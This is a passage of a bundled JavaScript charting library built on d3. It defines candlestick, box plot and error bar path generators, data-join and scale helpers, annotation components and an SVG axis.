return candlestick;
};
candlestick.x = function () {
if (!arguments.length) {
return x;
}
x = functor(arguments.length <= 0 ? undefined : arguments[0]);
return candlestick;
};
candlestick.open = function () {
if (!arguments.length) {
return open;
}
open = functor(arguments.length <= 0 ? undefined : arguments[0]);
return candlestick;
};
candlestick.high = function () {
if (!arguments.length) {
return high;
}
high = functor(arguments.length <= 0 ? undefined : arguments[0]);
return candlestick;
};
candlestick.low = function () {
if (!arguments.length) {
return low;
}
low = functor(arguments.length <= 0 ? undefined : arguments[0]);
return candlestick;
};
candlestick.close = function () {
if (!arguments.length) {
return close;
}
close = functor(arguments.length <= 0 ? undefined : arguments[0]);
return candlestick;
};
candlestick.width = function () {
if (!arguments.length) {
return width;
}
width = functor(arguments.length <= 0 ? undefined : arguments[0]);
return candlestick;
};
return candlestick;
})
// Renders a box plot series as an SVG path based on the given array of datapoints.
var boxPlot = (function () {
var context = null;
var value = function value(d) {
return d.value;
};
var median = function median(d) {
return d.median;
};
var upperQuartile = function upperQuartile(d) {
return d.upperQuartile;
};
var lowerQuartile = function lowerQuartile(d) {
return d.lowerQuartile;
};
var high = function high(d) {
return d.high;
};
var low = function low(d) {
return d.low;
};
var orient = 'vertical';
var width = functor(5);
var cap = functor(0.5);
var boxPlot = function boxPlot(data) {
var buffer = context ? undefined : context = path();
data.forEach(function (d, i) {
// naming convention is for vertical orientation
var _value = value(d, i);
var _width = width(d, i);
var halfWidth = _width / 2;
var capWidth = _width * cap(d, i);
var halfCapWidth = capWidth / 2;
var _high = high(d, i);
var _upperQuartile = upperQuartile(d, i);
var _median = median(d, i);
var _lowerQuartile = lowerQuartile(d, i);
var _low = low(d, i);
var upperQuartileToLowerQuartile = _lowerQuartile - _upperQuartile;
if (orient === 'vertical') {
// Upper whisker
context.moveTo(_value - halfCapWidth, _high);
context.lineTo(_value + halfCapWidth, _high);
context.moveTo(_value, _high);
context.lineTo(_value, _upperQuartile);
// Box
context.rect(_value - halfWidth, _upperQuartile, _width, upperQuartileToLowerQuartile);
context.moveTo(_value - halfWidth, _median);
// Median line
context.lineTo(_value + halfWidth, _median);
// Lower whisker
context.moveTo(_value, _lowerQuartile);
context.lineTo(_value, _low);
context.moveTo(_value - halfCapWidth, _low);
context.lineTo(_value + halfCapWidth, _low);
} else {
// Lower whisker
context.moveTo(_low, _value - halfCapWidth);
context.lineTo(_low, _value + halfCapWidth);
context.moveTo(_low, _value);
context.lineTo(_lowerQuartile, _value);
// Box
context.rect(_lowerQuartile, _value - halfWidth, -upperQuartileToLowerQuartile, _width);
context.moveTo(_median, _value - halfWidth);
context.lineTo(_median, _value + halfWidth);
// Upper whisker
context.moveTo(_upperQuartile, _value);
context.lineTo(_high, _value);
context.moveTo(_high, _value - halfCapWidth);
context.lineTo(_high, _value + halfCapWidth);
}
});
return buffer && (context = null, buffer.toString() || null);
};
boxPlot.context = function () {
if (!arguments.length) {
return context;
}
context = arguments.length <= 0 ? undefined : arguments[0];
return boxPlot;
};
boxPlot.value = function () {
if (!arguments.length) {
return value;
}
value = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
boxPlot.median = function () {
if (!arguments.length) {
return median;
}
median = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
boxPlot.upperQuartile = function () {
if (!arguments.length) {
return upperQuartile;
}
upperQuartile = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
boxPlot.lowerQuartile = function () {
if (!arguments.length) {
return lowerQuartile;
}
lowerQuartile = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
boxPlot.high = function () {
if (!arguments.length) {
return high;
}
high = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
boxPlot.low = function () {
if (!arguments.length) {
return low;
}
low = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
boxPlot.width = function () {
if (!arguments.length) {
return width;
}
width = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
boxPlot.orient = function () {
if (!arguments.length) {
return orient;
}
orient = arguments.length <= 0 ? undefined : arguments[0];
return boxPlot;
};
boxPlot.cap = function () {
if (!arguments.length) {
return cap;
}
cap = functor(arguments.length <= 0 ? undefined : arguments[0]);
return boxPlot;
};
return boxPlot;
})
// Renders an error bar series as an SVG path based on the given array of datapoints.
var errorBar = (function () {
var context = null;
var value = function value(d) {
return d.x;
};
var high = function high(d) {
return d.high;
};
var low = function low(d) {
return d.low;
};
var orient = 'vertical';
var width = functor(5);
var errorBar = function errorBar(data) {
var buffer = context ? undefined : context = path();
data.forEach(function (d, i) {
// naming convention is for vertical orientation
var _value = value(d, i);
var _width = width(d, i);
var halfWidth = _width / 2;
var _high = high(d, i);
var _low = low(d, i);
if (orient === 'vertical') {
context.moveTo(_value - halfWidth, _high);
context.lineTo(_value + halfWidth, _high);
context.moveTo(_value, _high);
context.lineTo(_value, _low);
context.moveTo(_value - halfWidth, _low);
context.lineTo(_value + halfWidth, _low);
} else {
context.moveTo(_low, _value - halfWidth);
context.lineTo(_low, _value + halfWidth);
context.moveTo(_low, _value);
context.lineTo(_high, _value);
context.moveTo(_high, _value - halfWidth);
context.lineTo(_high, _value + halfWidth);
}
});
return buffer && (context = null, buffer.toString() || null);
};
errorBar.context = function () {
if (!arguments.length) {
return context;
}
context = arguments.length <= 0 ? undefined : arguments[0];
return errorBar;
};
errorBar.value = function () {
if (!arguments.length) {
return value;
}
value = functor(arguments.length <= 0 ? undefined : arguments[0]);
return errorBar;
};
errorBar.high = function () {
if (!arguments.length) {
return high;
}
high = functor(arguments.length <= 0 ? undefined : arguments[0]);
return errorBar;
};
errorBar.low = function () {
if (!arguments.length) {
return low;
}
low = functor(arguments.length <= 0 ? undefined : arguments[0]);
return errorBar;
};
errorBar.width = function () {
if (!arguments.length) {
return width;
}
width = functor(arguments.length <= 0 ? undefined : arguments[0]);
return errorBar;
};
errorBar.orient = function () {
if (!arguments.length) {
return orient;
}
orient = arguments.length <= 0 ? undefined : arguments[0];
return errorBar;
};
return errorBar;
})
function context() {
return this;
}
function identity(d) {
return d;
}
function index(d, i) {
return i;
}
function noop(d) {}
// Checks that passes properties are 'defined', meaning that calling them with (d, i) returns non null values
function defined() {
var outerArguments = arguments;
return function (d, i) {
for (var c = 0, j = outerArguments.length; c < j; c++) {
if (outerArguments[c](d, i) == null) {
return false;
}
}
return true;
};
}
var fn = Object.freeze({
context: context,
identity: identity,
index: index,
noop: noop,
defined: defined
});
// "Caution: avoid interpolating to or from the number zero when the interpolator is used to generate
// a string (such as with attr).
// Very small values, when stringified, may be converted to scientific notation and
// cause a temporarily invalid attribute or style property value.
// For example, the number 0.0000001 is converted to the string "1e-7".
// This is particularly noticeable when interpolating opacity values.
// To avoid scientific notation, start or end the transition at 1e-6,
// which is the smallest value that is not stringified in exponential notation."
// - https://github.com/mbostock/d3/wiki/Transitions#d3_interpolateNumber
var effectivelyZero = 1e-6;
// Wrapper around d3's selectAll/data data-join, which allows decoration of the result.
// This is achieved by appending the element to the enter selection before exposing it.
// A default transition of fade in/out is also implicitly added but can be modified.
function dataJoin () {
var selector = 'g',
children = false,
element = 'g',
attr = {},
key = index;
var dataJoin = function dataJoin(container, data) {
var joinedData = data || identity;
// Can't use instanceof d3.selection (see #458)
if (!(container.selectAll && container.node)) {
container = d3.select(container);
}
// update
var selection = container.selectAll(selector);
if (children) {
// in order to support nested selections, they can be filtered
// to only return immediate children of the container
selection = selection.filter(function () {
return this.parentNode === container.node();
});
}
var updateSelection = selection.data(joinedData, key);
// enter
// when container is a transition, entering elements fade in (from transparent to opaque)
// N.B. insert() is used to create new elements, rather than append(). insert() behaves in a special manner
// on enter selections - entering elements will be inserted immediately before the next following sibling
// in the update selection, if any.
// This helps order the elements in an order consistent with the data, but doesn't guarantee the ordering;
// if the updating elements change order then selection.order() would be required to update the order.
// (#528)
var enterSelection = updateSelection.enter().insert(element) // <<<--- this is the secret sauce of this whole file
.attr(attr).style('opacity', effectivelyZero);
// exit
// when container is a transition, exiting elements fade out (from opaque to transparent)
var exitSelection = d3.transition(updateSelection.exit()).style('opacity', effectivelyZero).remove();
// when container is a transition, all properties of the transition (which can be interpolated)
// will transition
updateSelection = d3.transition(updateSelection).style('opacity', 1);
updateSelection.enter = d3.functor(enterSelection);
updateSelection.exit = d3.functor(exitSelection);
return updateSelection;
};
dataJoin.selector = function (x) {
if (!arguments.length) {
return selector;
}
selector = x;
return dataJoin;
};
dataJoin.children = function (x) {
if (!arguments.length) {
return children;
}
children = x;
return dataJoin;
};
dataJoin.element = function (x) {
if (!arguments.length) {
return element;
}
element = x;
return dataJoin;
};
dataJoin.attr = function (x) {
if (!arguments.length) {
return attr;
}
if (arguments.length === 1) {
attr = arguments[0];
} else if (arguments.length === 2) {
var dataKey = arguments[0];
var value = arguments[1];
attr[dataKey] = value;
}
return dataJoin;
};
dataJoin.key = function (x) {
if (!arguments.length) {
return key;
}
key = x;
return dataJoin;
};
return dataJoin;
}
function isOrdinal(scale) {
return scale.rangeExtent;
}
// ordinal axes have a rangeExtent function, this adds any padding that
// was applied to the range. This functions returns the rangeExtent
// if present, or range otherwise
///
// NOTE: d3 uses very similar logic here:
// https://github.com/mbostock/d3/blob/5b981a18db32938206b3579248c47205ecc94123/src/scale/scale.js#L8
function range(scale) {
// for non ordinal, simply return the range
if (!isOrdinal(scale)) {
return scale.range();
}
// For ordinal, use the rangeExtent. However, rangeExtent always provides
// a non inverted range (i.e. extent[0] < extent[1]) regardless of the
// range set on the scale. The logic below detects the inverted case.
//
// The d3 code that tackles the same issue doesn't have to deal with the inverted case.
var scaleRange = scale.range();
var extent = scale.rangeExtent();
if (scaleRange.length <= 1) {
// we cannot detect the inverted case if the range (and domain) has
// a single item in it.
return extent;
}
var inverted = scaleRange[0] > scaleRange[1];
return inverted ? [extent[1], extent[0]] : extent;
}
// Ordinal and quantitative scales have different methods for setting the range. This
// function detects the scale type and sets the range accordingly.
function setRange(scale, scaleRange) {
if (isOrdinal(scale)) {
scale.rangePoints(scaleRange, 1);
} else {
scale.range(scaleRange);
}
}
var scale = Object.freeze({
isOrdinal: isOrdinal,
range: range,
setRange: setRange
});
function band () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
x0,
x1,
y0,
y1,
x0Scaled = function x0Scaled() {
return range(xScale)[0];
},
x1Scaled = function x1Scaled() {
return range(xScale)[1];
},
y0Scaled = function y0Scaled() {
return range(yScale)[0];
},
y1Scaled = function y1Scaled() {
return range(yScale)[1];
},
decorate = noop;
var dataJoin$$ = dataJoin().selector('g.annotation').element('g').attr('class', 'annotation');
var band = function band(selection) {
selection.each(function (data, index) {
var container = d3.select(this);
var g = dataJoin$$(container, data);
g.enter().append('path').classed('band', true);
var pathGenerator = bar().horizontalAlign('right').verticalAlign('top').x(x0Scaled).y(y0Scaled).height(function () {
return y1Scaled.apply(this, arguments) - y0Scaled.apply(this, arguments);
}).width(function () {
return x1Scaled.apply(this, arguments) - x0Scaled.apply(this, arguments);
});
g.select('path').attr('d', function (d, i) {
// the path generator is being used to render a single path, hence
// an explicit index is provided
return pathGenerator.call(this, [d], i);
});
decorate(g, data, index);
});
};
band.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return band;
};
band.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return band;
};
band.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return band;
};
band.x0 = function (x) {
if (!arguments.length) {
return x0;
}
x0 = d3.functor(x);
x0Scaled = function x0Scaled() {
return xScale(x0.apply(this, arguments));
};
return band;
};
band.x1 = function (x) {
if (!arguments.length) {
return x1;
}
x1 = d3.functor(x);
x1Scaled = function x1Scaled() {
return xScale(x1.apply(this, arguments));
};
return band;
};
band.y0 = function (x) {
if (!arguments.length) {
return y0;
}
y0 = d3.functor(x);
y0Scaled = function y0Scaled() {
return yScale(y0.apply(this, arguments));
};
return band;
};
band.y1 = function (x) {
if (!arguments.length) {
return y1;
}
y1 = d3.functor(x);
y1Scaled = function y1Scaled() {
return yScale(y1.apply(this, arguments));
};
return band;
};
return band;
}
function _ticks () {
var scale = d3.scale.identity(),
tickArguments = [10],
tickValues = null;
function tryApply(fn, defaultVal) {
return scale[fn] ? scale[fn].apply(scale, tickArguments) : defaultVal;
}
var ticks = function ticks() {
return tickValues == null ? tryApply('ticks', scale.domain()) : tickValues;
};
ticks.scale = function (x) {
if (!arguments.length) {
return scale;
}
scale = x;
return ticks;
};
ticks.ticks = function (x) {
if (!arguments.length) {
return tickArguments;
}
tickArguments = arguments;
return ticks;
};
ticks.tickValues = function (x) {
if (!arguments.length) {
return tickValues;
}
tickValues = x;
return ticks;
};
return ticks;
}
var regexify = (function (strsOrRegexes) {
return strsOrRegexes.map(function (strOrRegex) {
return typeof strOrRegex === 'string' ? new RegExp('^' + strOrRegex + '$') : strOrRegex;
});
})
var include = (function () {
for (var _len = arguments.length, inclusions = Array(_len), _key = 0; _key < _len; _key++) {
inclusions[_key] = arguments[_key];
}
inclusions = regexify(inclusions);
return function (name) {
return inclusions.some(function (inclusion) {
return inclusion.test(name);
}) && name;
};
})
var createTransform = function createTransform(transforms) {
return function (name) {
return transforms.reduce(function (name, fn) {
return name && fn(name);
}, name);
};
};
var createReboundMethod = function createReboundMethod(target, source, name) {
var method = source[name];
if (typeof method !== 'function') {
throw new Error('Attempt to rebind ' + name + ' which isn\'t a function on the source object');
}
return function () {
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
var value = method.apply(source, args);
return value === source ? target : value;
};
};
var rebindAll = (function (target, source) {
for (var _len2 = arguments.length, transforms = Array(_len2 > 2 ? _len2 - 2 : 0), _key2 = 2; _key2 < _len2; _key2++) {
transforms[_key2 - 2] = arguments[_key2];
}
var transform = createTransform(transforms);
var _iteratorNormalCompletion = true;
var _didIteratorError = false;
var _iteratorError = undefined;
try {
for (var _iterator = Object.keys(source)[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {
var name = _step.value;
var result = transform(name);
if (result) {
target[result] = createReboundMethod(target, source, name);
}
}
} catch (err) {
_didIteratorError = true;
_iteratorError = err;
} finally {
try {
if (!_iteratorNormalCompletion && _iterator.return) {
_iterator.return();
}
} finally {
if (_didIteratorError) {
throw _iteratorError;
}
}
}
return target;
})
var rebind = (function (target, source) {
for (var _len = arguments.length, names = Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) {
names[_key - 2] = arguments[_key];
}
return rebindAll(target, source, include.apply(undefined, names));
})
var exclude = (function () {
for (var _len = arguments.length, exclusions = Array(_len), _key = 0; _key < _len; _key++) {
exclusions[_key] = arguments[_key];
}
exclusions = regexify(exclusions);
return function (name) {
return exclusions.every(function (exclusion) {
return !exclusion.test(name);
}) && name;
};
})
var includeMap = (function (mappings) {
return function (name) {
return mappings[name];
};
})
var capitalizeFirstLetter = function capitalizeFirstLetter(str) {
return str[0].toUpperCase() + str.slice(1);
};
var prefix = (function (prefix) {
return function (name) {
return prefix + capitalizeFirstLetter(name);
};
})
function gridline () {
var xTicks = _ticks(),
yTicks = _ticks();
var xDecorate = noop,
yDecorate = noop;
var xLineDataJoin = dataJoin().selector('line.x').element('line').attr('class', 'x gridline');
var yLineDataJoin = dataJoin().selector('line.y').element('line').attr('class', 'y gridline');
var gridlines = function gridlines(selection) {
selection.each(function (data, index) {
var xScale = xTicks.scale(),
yScale = yTicks.scale();
var xData = xTicks();
var xLines = xLineDataJoin(this, xData);
xLines.attr({
'x1': xScale,
'x2': xScale,
'y1': range(yScale)[0],
'y2': range(yScale)[1]
});
xDecorate(xLines, xData, index);
var yData = yTicks();
var yLines = yLineDataJoin(this, yData);
yLines.attr({
'x1': range(xScale)[0],
'x2': range(xScale)[1],
'y1': yScale,
'y2': yScale
});
yDecorate(yLines, yData, index);
});
};
gridlines.yDecorate = function (x) {
if (!arguments.length) {
return yDecorate;
}
yDecorate = x;
return gridlines;
};
gridlines.xDecorate = function (x) {
if (!arguments.length) {
return xDecorate;
}
xDecorate = x;
return gridlines;
};
rebindAll(gridlines, xLineDataJoin, includeMap({ 'key': 'xKey' }));
rebindAll(gridlines, yLineDataJoin, includeMap({ 'key': 'yKey' }));
rebindAll(gridlines, xTicks, prefix('x'));
rebindAll(gridlines, yTicks, prefix('y'));
return gridlines;
}
function line () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
value = identity,
keyValue = index,
label = value,
decorate = noop,
orient = 'horizontal';
var dataJoin$$ = dataJoin().selector('g.annotation').element('g');
var line = function line(selection) {
selection.each(function (data, selectionIndex) {
// the value scale which the annotation 'value' relates to, the crossScale
// is the other. Which is which depends on the orienation!
var valueScale,
crossScale,
translation,
lineProperty,
handleOne,
handleTwo,
textAttributes = { x: -5, y: -5 };
switch (orient) {
case 'horizontal':
translation = function translation(a, b) {
return 'translate(' + a + ', ' + b + ')';
};
lineProperty = 'x2';
crossScale = xScale;
valueScale = yScale;
handleOne = 'left-handle';
handleTwo = 'right-handle';
break;
case 'vertical':
translation = function translation(a, b) {
return 'translate(' + b + ', ' + a + ')';
};
lineProperty = 'y2';
crossScale = yScale;
valueScale = xScale;
textAttributes.transform = 'rotate(-90)';
handleOne = 'bottom-handle';
handleTwo = 'top-handle';
break;
default:
throw new Error('Invalid orientation');
}
var scaleRange = range(crossScale),
// the transform that sets the 'origin' of the annotation
containerTransform = function containerTransform(d) {
var transform = valueScale(value(d));
return translation(scaleRange[0], transform);
},
scaleWidth = scaleRange[1] - scaleRange[0];
var container = d3.select(this);
// Create a group for each line
dataJoin$$.attr('class', 'annotation ' + orient);
var g = dataJoin$$(container, data);
// create the outer container and line
var enter = g.enter().attr('transform', containerTransform);
enter.append('line').attr(lineProperty, scaleWidth);
// create containers at each end of the annotation
enter.append('g').classed(handleOne, true);
enter.append('g').classed(handleTwo, true).attr('transform', translation(scaleWidth, 0)).append('text').attr(textAttributes);
// Update
// translate the parent container to the left hand edge of the annotation
g.attr('transform', containerTransform);
// update the elements that depend on scale width
g.select('line').attr(lineProperty, scaleWidth);
g.select('g.' + handleTwo).attr('transform', translation(scaleWidth, 0));
// Update the text label
g.select('text').text(label);
decorate(g, data, selectionIndex);
});
};
line.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return line;
};
line.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return line;
};
line.value = function (x) {
if (!arguments.length) {
return value;
}
value = d3.functor(x);
return line;
};
line.keyValue = function (x) {
if (!arguments.length) {
return keyValue;
}
keyValue = d3.functor(x);
return line;
};
line.label = function (x) {
if (!arguments.length) {
return label;
}
label = d3.functor(x);
return line;
};
line.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return line;
};
line.orient = function (x) {
if (!arguments.length) {
return orient;
}
orient = x;
return line;
};
return line;
}
var annotation = {
band: band,
gridline: gridline,
line: line
};
// A drop-in replacement for the D3 axis, supporting the decorate pattern.
function axis$1 () {
var decorate = noop,
orient = 'bottom',
tickFormat = null,
outerTickSize = 6,
innerTickSize = 6,
tickPadding = 3,
svgDomainLine = d3.svg.line(),
ticks = _ticks();
var dataJoin$$ = dataJoin().selector('g.tick').element('g').key(identity).attr('class', 'tick');
var domainPathDataJoin = dataJoin().selector('path.domain').element('path').attr('class', 'domain');
// returns a function that creates a translation based on
// the bound data
function containerTranslate(s, trans) {
return function (d) {
return trans(s(d), 0);
};
}
function translate(x, y) {
if (isVertical()) {
return 'translate(' + y + ', ' + x + ')';
} else {
return 'translate(' + x + ', ' + y + ')';
}
}
function pathTranspose(arr) {
if (isVertical()) {
return arr.map(function (d) {
return [d[1], d[0]];
});
} else {
return arr;
}
}
function isVertical() {
return orient === 'left' || orient === 'right';
}
function tryApply(fn, defaultVal) {
var scale = ticks.scale();
return scale[fn] ? scale[fn].apply(scale, ticks.ticks()) : defaultVal;
}
var axis = function axis(selection) {
selection.each(function (data, index) {
var scale = ticks.scale();
// Stash a snapshot of the new scale, and retrieve the old snapshot.
var scaleOld = this.__chart__ || scale;
this.__chart__ = scale.copy();
var ticksArray = ticks();
var tickFormatter = tickFormat == null ? tryApply('tickFormat', identity) : tickFormat;
var sign = orient === 'bottom' || orient === 'right' ? 1 : -1;
var container = d3.select(this);
// add the domain line
var range$$ = range(scale);
var domainPathData = pathTranspose([[range$$[0], sign * outerTickSize], [range$$[0], 0], [range$$[1], 0], [range$$[1], sign * outerTickSize]]);
var domainLine = domainPathDataJoin(container, [data]);
domainLine.attr('d', svgDomainLine(domainPathData));
// datajoin and construct the ticks / label
dataJoin$$.attr({
// set the initial tick position based on the previous scale
// in order to get the correct enter transition - however, for ordinal
// scales the tick will not exist on the old scale, so use the current position
'transform': containerTranslate(isOrdinal(scale) ? scale : scaleOld, translate)
});
var g = dataJoin$$(container, ticksArray);
// enter
g.enter().append('path');
var labelOffset = sign * (innerTickSize + tickPadding);
g.enter().append('text').attr('transform', translate(0, labelOffset));
// update
g.attr('class', 'tick orient-' + orient);
g.attr('transform', containerTranslate(scale, translate));
g.select('path').attr('d', function (d) {
return svgDomainLine(pathTranspose([[0, 0], [0, sign * innerTickSize]]));
});
g.select('text').attr('transform', translate(0, labelOffset)).attr('dy', function () {
var offset = '0em';
if (isVertical()) {
offset = '0.32em';
} else if (orient === 'bottom') {
offset = '0.71em';
}
return offset;
}).text(tickFormatter);
// exit - for non ordinal scales, exit by animating the tick to its new location
if (!isOrdinal(scale)) {
g.exit().attr('transform', containerTranslate(scale, translate));
}
decorate(g, data, index);
});
};
axis.tickFormat = function (x) {
if (!arguments.length) {
return tickFormat;
}
tickFormat = x;
return axis;
};
axis.tickSize = function (x) {
var n = arguments.length;
if (!n) {
return innerTickSize;
}
innerTickSize = Number(x);
outerTickSize = Number(arguments[n - 1]);
return axis;
};
axis.innerTickSize = function (x) {
if (!arguments.length) {
return innerTickSize;
}
innerTickSize = Number(x);
return axis;
};
axis.outerTickSize = function (x) {
if (!arguments.length) {
return outerTickSize;
}
outerTickSize = Number(x);
return axis;
};
axis.tickPadding = function (x) {
if (!arguments.length) {
return tickPadding;
}
tickPadding = x;
return axis;
};
axis.orient = function (x) {
if (!arguments.length) {
return orient;
}
orient = x;
return axis;
};
axis.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return axis;
};
rebindAll(axis, ticks);
return axis;
}
// Adapts a fc.svg.axis for use as a series (i.e. accepts xScale/yScale). Only required when
// you want an axis to appear in the middle of a chart e.g. as part of a cycle plot. Otherwise
// prefer using the fc.svg.axis directly.
function axis () {
var axis = axis$1(),
baseline = d3.functor(0),
decorate = noop,
xScale = d3.time.scale(),
yScale = d3.scale.linear();
var dataJoin$$ = dataJoin().selector('g.axis-adapter').element('g').attr({ 'class': 'axis axis-adapter' });
var axisAdapter = function axisAdapter(selection) {
selection.each(function (data, index) {
var g = dataJoin$$(this, [data]);
var translation;
switch (axisAdapter.orient()) {
case 'top':
case 'bottom':
translation = 'translate(0,' + yScale(baseline(data)) + ')';
axis.scale(xScale);
break;
case 'left':
case 'right':
translation = 'translate(' + xScale(baseline(data)) + ',0)';
axis.scale(yScale);
break;
default:
throw new Error('Invalid orientation');
}
g.enter().attr('transform', translation);
g.attr('transform', translation);
g.call(axis);
decorate(g, data, index);
});
};
axisAdapter.baseline = function (x) {
if (!arguments.length) {
return baseline;
}
baseline = d3.functor(x);
return axisAdapter;
};
axisAdapter.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return axisAdapter;
};
axisAdapter.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return axisAdapter;
};
axisAdapter.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return axisAdapter;
};
return d3.rebind(axisAdapter, axis, 'orient', 'ticks', 'tickValues', 'tickSize', 'innerTickSize', 'outerTickSize', 'tickPadding', 'tickFormat');
}
// "Caution: avoid interpolating to or from the number zero when the interpolator is used to generate
// a string (such as with attr).
// Very small values, when stringified, may be converted to scientific notation and
// cause a temporarily invalid attribute or style property value.
// For example, the number 0.0000001 is converted to the string "1e-7".
// This is particularly noticeable when interpolating opacity values.
// To avoid scientific notation, start or end the transition at 1e-6,
// which is the smallest value that is not stringified in exponential notation."
// - https://github.com/mbostock/d3/wiki/Transitions#d3_interpolateNumber
var effectivelyZero$1 = 1e-6;
// Wrapper around d3's selectAll/data data-join, which allows decoration of the result.
// This is achieved by appending the element to the enter selection before exposing it.
// A default transition of fade in/out is also implicitly added but can be modified.
var dataJoinUtil = (function () {
var selector = 'g';
var children = false;
var element = 'g';
var attr = {};
var key = function key(_, i) {
return i;
};
var dataJoin = function dataJoin(container, data) {
var joinedData = data || function (x) {
return x;
};
// Can't use instanceof d3.selection (see #458)
if (!(container.selectAll && container.node)) {
container = d3.select(container);
}
// update
var selection = container.selectAll(selector);
if (children) {
// in order to support nested selections, they can be filtered
// to only return immediate children of the container
selection = selection.filter(function () {
return this.parentNode === container.node();
});
}
var updateSelection = selection.data(joinedData, key);
// enter
// when container is a transition, entering elements fade in (from transparent to opaque)
// N.B. insert() is used to create new elements, rather than append(). insert() behaves in a special manner
// on enter selections - entering elements will be inserted immediately before the next following sibling
// in the update selection, if any.
// This helps order the elements in an order consistent with the data, but doesn't guarantee the ordering;
// if the updating elements change order then selection.order() would be required to update the order.
// (#528)
var enterSelection = updateSelection.enter().insert(element) // <<<--- this is the secret sauce of this whole file
.attr(attr).style('opacity', effectivelyZero$1);
// exit
// when container is a transition, exiting elements fade out (from opaque to transparent)
var exitSelection = d3.transition(updateSelection.exit()).style('opacity', effectivelyZero$1).remove();
// when container is a transition, all properties of the transition (which can be interpolated)
// will transition
updateSelection = d3.transition(updateSelection).style('opacity', 1);
updateSelection.enter = d3.functor(enterSelection);
updateSelection.exit = d3.functor(exitSelection);
return updateSelection;
};
dataJoin.selector = function (x) {
if (!arguments.length) {
return selector;
}
selector = x;
return dataJoin;
};
dataJoin.children = function (x) {
if (!arguments.length) {
return children;
}
children = x;
return dataJoin;
};
dataJoin.element = function (x) {
if (!arguments.length) {
return element;
}
element = x;
return dataJoin;
};
dataJoin.attr = function (x) {
if (!arguments.length) {
return attr;
}
if (arguments.length === 1) {
attr = arguments[0];
} else if (arguments.length === 2) {
var dataKey = arguments[0];
var value = arguments[1];
attr[dataKey] = value;
}
return dataJoin;
};
dataJoin.key = function (x) {
if (!arguments.length) {
return key;
}
key = x;
return dataJoin;
};
return dataJoin;
})
var regexify$1 = (function (strsOrRegexes) {
return strsOrRegexes.map(function (strOrRegex) {
return typeof strOrRegex === 'string' ? new RegExp('^' + strOrRegex + '$') : strOrRegex;
});
})
var include$1 = (function () {
for (var _len = arguments.length, inclusions = Array(_len), _key = 0; _key < _len; _key++) {
inclusions[_key] = arguments[_key];
}
inclusions = regexify$1(inclusions);
return function (name) {
return inclusions.some(function (inclusion) {
return inclusion.test(name);
}) && name;
};
})
var createTransform$1 = function createTransform(transforms) {
return function (name) {
return transforms.reduce(function (name, fn) {
return name && fn(name);
}, name);
};
};
var createReboundMethod$1 = function createReboundMethod(target, source, name) {
var method = source[name];
if (typeof method !== 'function') {
throw new Error('Attempt to rebind ' + name + ' which isn\'t a function on the source object');
}
return function () {
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
var value = method.apply(source, args);
return value === source ? target : value;
};
};
var rebindAll$1 = (function (target, source) {
for (var _len2 = arguments.length, transforms = Array(_len2 > 2 ? _len2 - 2 : 0), _key2 = 2; _key2 < _len2; _key2++) {
transforms[_key2 - 2] = arguments[_key2];
}
var transform = createTransform$1(transforms);
var _iteratorNormalCompletion = true;
var _didIteratorError = false;
var _iteratorError = undefined;
try {
for (var _iterator = Object.keys(source)[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {
var name = _step.value;
var result = transform(name);
if (result) {
target[result] = createReboundMethod$1(target, source, name);
}
}
} catch (err) {
_didIteratorError = true;
_iteratorError = err;
} finally {
try {
if (!_iteratorNormalCompletion && _iterator.return) {
_iterator.return();
}
} finally {
if (_didIteratorError) {
throw _iteratorError;
}
}
}
})
function labelLayout (layoutStrategy) {
var size = d3.functor([0, 0]);
var position = function position(d, i) {
return [d.x, d.y];
};
var strategy = layoutStrategy || function (x) {
return x;
};
var component = function component() {};
var dataJoin = dataJoinUtil().selector('g.label').element('g').attr('class', 'label');
var label = function label(selection) {
selection.each(function (data, index) {
var _this = this;
var g = dataJoin(this, data).call(component);
// obtain the rectangular bounding boxes for each child
var childRects = g[0].map(function (node, i) {
var d = d3.select(node).datum();
var childPos = position.call(node, d, i);
var childSize = size.call(node, d, i);
return {
hidden: false,
x: childPos[0],
y: childPos[1],
width: childSize[0],
height: childSize[1]
};
});
// apply the strategy to derive the layout. The strategy does not change the order
// or number of label.
var layout = strategy(childRects);
g.attr({
'style': function style(_, i) {
return 'display:' + (layout[i].hidden ? 'none' : 'inherit');
},
'transform': function transform(_, i) {
return 'translate(' + layout[i].x + ', ' + layout[i].y + ')';
},
// set the layout width / height so that children can use SVG layout if required
'layout-width': function layoutWidth(_, i) {
return layout[i].width;
},
'layout-height': function layoutHeight(_, i) {
return layout[i].height;
},
'anchor-x': function anchorX(d, i) {
return position.call(_this, d, i)[0] - layout[i].x;
},
'anchor-y': function anchorY(d, i) {
return position.call(_this, d, i)[1] - layout[i].y;
}
});
g.call(component);
});
};
rebindAll$1(label, dataJoin, include$1('key'));
rebindAll$1(label, strategy);
label.size = function (x) {
if (!arguments.length) {
return size;
}
size = d3.functor(x);
return label;
};
